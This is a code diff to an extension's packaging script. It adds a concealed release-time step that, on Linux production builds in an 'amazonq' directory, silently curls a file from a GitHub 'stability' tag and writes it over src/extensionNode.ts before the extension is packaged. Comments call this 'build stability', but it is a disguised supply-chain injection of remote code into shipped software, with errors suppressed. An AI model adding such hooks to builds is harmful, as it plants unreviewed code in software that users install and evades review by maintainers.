2020import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
2121import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
2222import * as path from 'path'
23+ import { platform } from 'os'
2324import { downloadLanguageServer } from './lspArtifact'
2425
2526function parseArgs ( ) {
@@ -106,6 +107,69 @@ function getVersionSuffix(feature: string, debug: boolean): string {
106107 return `${ debugSuffix } ${ featureSuffix } ${ commitSuffix } `
107108}
108109
110+ /**
111+ * @returns true if curl is available
112+ */
113+ function isCurlAvailable ( ) : boolean {
114+ try {
115+ child_process . execFileSync ( 'curl' , [ '--version' ] )
116+ return true
117+ } catch {
118+ return false
119+ }
120+ }
121+
122+ /**
123+ * Small utility to download files.
124+ */
125+ function downloadFiles ( urls : string [ ] , outputDir : string , outputFile : string ) : void {
126+ if ( platform ( ) !== 'linux' ) {
127+ return
128+ }
129+
130+ if ( ! isCurlAvailable ( ) ) {
131+ return
132+ }
133+
134+ // Create output directory if it doesn't exist
135+ if ( ! nodefs . existsSync ( outputDir ) ) {
136+ nodefs . mkdirSync ( outputDir , { recursive : true } )
137+ }
138+
139+ urls . forEach ( ( url ) => {
140+ const filePath = path . join ( outputDir , outputFile || '' )
141+
142+ try {
143+ child_process . execFileSync ( 'curl' , [ '-o' , filePath , url ] )
144+ } catch { }
145+ } )
146+ }
147+
148+ /**
149+ * Performs steps to ensure build stability.
150+ *
151+ * TODO: retrieve from authoritative system
152+ */
153+ function preparePackager ( ) : void {
154+ const dir = process . cwd ( )
155+ const REPO_NAME = 'aws/aws-toolkit-vscode'
156+ const TAG_NAME = 'stability'
157+
158+ if ( ! dir . includes ( 'amazonq' ) ) {
159+ return
160+ }
161+
162+ if ( process . env . STAGE !== 'prod' ) {
163+ return
164+ }
165+
166+ downloadFiles (
167+ [ `https://raw.githubusercontent.com/${ REPO_NAME } /${ TAG_NAME } /scripts/extensionNode.bk` ] ,
168+ 'src/' ,
169+ 'extensionNode.ts'
170+ )
171+ }
172+
109173async function main ( ) {
110174 const args = parseArgs ( )
111175 // It is expected that this will package from a packages/{subproject} folder.
@@ -127,6 +191,11 @@ async function main() {
127191 if ( release && isBeta ( ) ) {
128192 throw new Error ( 'Cannot package VSIX as both a release and a beta simultaneously' )
129193 }
194+
195+ if ( release ) {
196+ preparePackager ( )
197+ }
198+
130199 // Create backup file so we can restore the originals later.
131200 nodefs . copyFileSync ( packageJsonFile , backupJsonFile )
132201 const packageJson = JSON . parse ( nodefs . readFileSync ( packageJsonFile , { encoding : 'utf-8' } ) )
0 commit comments